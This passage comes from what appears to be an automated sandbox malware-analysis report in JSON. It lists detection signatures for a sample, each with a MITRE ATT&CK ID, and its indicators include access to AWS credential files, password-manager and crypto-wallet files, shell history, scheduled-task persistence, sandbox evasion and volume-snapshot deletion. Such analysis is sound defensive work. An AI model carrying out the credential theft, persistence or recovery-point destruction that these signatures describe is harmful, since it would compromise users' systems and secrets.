(Indicator: \"api.telegram.org\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"githubusercontent.com\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1102","id":"string-186","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Able to download remote files using web shell script","description":"file/memory contains long string with (Indicator: \"HttpServletResponse\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \".getInputStream()\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-798","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Able to interact with Microsoft Store installation processes","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-892","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve TCP/IP network configuration","description":"file/memory contains long string with (Indicator: \"\"ipconfig\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1016","id":"string-325","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$3c","origin":"sample.bin","mitre_attack_id":"T1041","id":"string-511","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Security","name":"Able to modify file privileges","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1548.001","id":"string-10079","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Able to access AWS credential file","description":"file/memory contains long string with (Indicator: \"aws/credentials\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"security-credentials\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1528","id":"string-5076","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"System Security","name":"Able to modify firewall settings","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1686","id":"string-676","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"malicious","category":"System Security","name":"Able to execute commands through Windows command interpreter (ASP)","description":"$3d","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-847","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Contains scheduled task related strings","description":"file/memory contains long string with (Indicator: \"schtasks /create\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1053.005","id":"string-128","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Installation/Persistence","name":"Able to access crontab (possible persistence)","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1053.003","id":"string-10014","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Installation/Persistence","name":"Able to create or modify system service","description":"file/memory contains long string with (Indicator: \"systemctl \"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"/etc/systemd/\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.002","id":"string-5066","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Installation/Persistence","name":"Able to use systemctl command to control system services","description":"file/memory contains long string with (Indicator: \"systemctl\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1569.003","id":"string-5085","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"file/memory contains long string with (Indicator: \"CreateService\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-199","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate files/folders on disk","description":"file/memory contains long string with (Indicator: \"dirname\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"_open\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-10033","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to search file or word using grep command","description":"file/memory contains long string with (Indicator: \"grep \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-5080","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to access known host","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1098.004","id":"string-10048","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information","description":"file/memory contains long string with \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1033","id":"string-10037","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$3e","origin":"sample.bin","mitre_attack_id":"T1055.015","id":"string-721","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Able to evade Sandbox environment","description":"file/memory contains long string with (Indicator: \"vmware\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"virtualbox\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497","id":"string-10035","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to locate and extract specific character/string within a file's contents","description":"file/memory contains long string with (Indicator: \"awk \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-10083","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"file/memory contains long string with (Indicator: \"route PRINT\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1016","id":"string-430","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to kill processes","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1685","id":"string-10025","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to remove a file/directory","description":"file/memory contains long string with (Indicator: \"rm -\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.004","id":"string-5065","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"file/memory contains long string with (Indicator: \"password\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"secret\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555","id":"string-475","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access password managers","description":"file/memory contains long string with (Indicator: \".kdbx\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555.005","id":"string-10057","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Able to access crypto wallet file","description":"file/memory contains long string with (Indicator: \"wallet.dat\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1005","id":"string-10059","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access zsh history file","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555.003","id":"string-10064","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access Bash command history","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1552.003","id":"string-10047","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"file/memory contains long string with (Indicator: \"base64\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"tarfile\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"ecdsa\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"aes\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \".encrypt\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"b64decode\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"base64.b64decode\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \".decrypt\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-57","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access scheduled job timer","description":"file/memory contains long string with (Indicator: \"systemctl\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1053.006","id":"string-5057","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"file/memory contains long string with (Indicator: \"getsockname\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1016","id":"string-224","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"$3f","origin":"sample.bin","id":"string-61","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"file/memory contains long string with (Indicator: \"route\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"route print\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-126","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges (API string)","description":"file/memory contains long string with (Indicator: \"IsUserAnAdmin\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1033","id":"string-217","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Remote Access Related","name":"Able to connect to a cloud service","description":"file/memory contains long string with (Indicator: \"gcloud\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1021.007","id":"string-767","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Able to delete volume snapshots","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-634","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Destruction","name":"Able to remove system recovery points using volume management tools","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1490","id":"string-917","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"b64decode\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"base64.b64decode\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1140","id":"string-106","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"file/memory contains long string with (Indicator: \".decrypt\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1140","id":"string-356","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"$40","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"RegRestoreKeyW\" (Indicator: \"RegRestoreKey\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"RegFlushKey\" (Indicator: \"RegFlushKey\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"RegSetValueW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$42","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"$43","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"python.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"python.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"cmd.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"cmd.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$44","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$45","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"$46","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"python.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004364.00000000.182186.BAE50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004364.00000000.182186.BAE50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"$47","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"details too long to display","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: Able to decrypt/decode data\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"$48","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00002060-00000C2C-1563766582\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00002060-00000C2C-1563766582\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001896.00000000.181826.ED900000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"tmpu8vzkjs_\")\n Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"RtlNtStatusToDosErrorNoTeb\" in \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"GetUserPreferredUILanguages\" (Indicator: \"GetUserPreferredUILanguages\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"WMIC.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00001520)\n \"WMIC.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00001508)\n \"WMIC.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00004424)\n \"WMIC.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00004700)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"python.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00008020)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"python.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00008020)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"python.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00008020)\n \"python.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007600)\n \"WMIC.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001520)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$49","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"WMIC.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00001520)\n \"WMIC.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00001508)\n \"WMIC.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00004424)\n \"WMIC.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00004700)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"SELECT * FROM MSFT_CliAlias\" (Indicator: \"select * from \"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found string \"IWbemServices::ExecQuery(L\"WQL\",L\"SELECT * FROM MSFT_CliAlias\",WBEM_FLAG_FORWARD_ONLY|WBEM_FLAG_RETURN_IMMEDIATELY,NULL, -)\" (Indicator: \"select * from \"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found string \"SELECT * FROM MSFT_CliTranslateTable\" (Indicator: \"select * from \"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found string \"IWbemServices::ExecQuery(L\"WQL\",L\"SELECT * FROM MSFT_CliTranslateTable\",WBEM_FLAG_FORWARD_ONLY|WBEM_FLAG_RETURN_IMMEDIATELY,NULL, -)\" (Indicator: \"select * from \"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found string \"select * from Win32_OperatingSystem\" (Indicator: \"select * from \"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"python.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"python.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"WMIC.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"netsh.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry 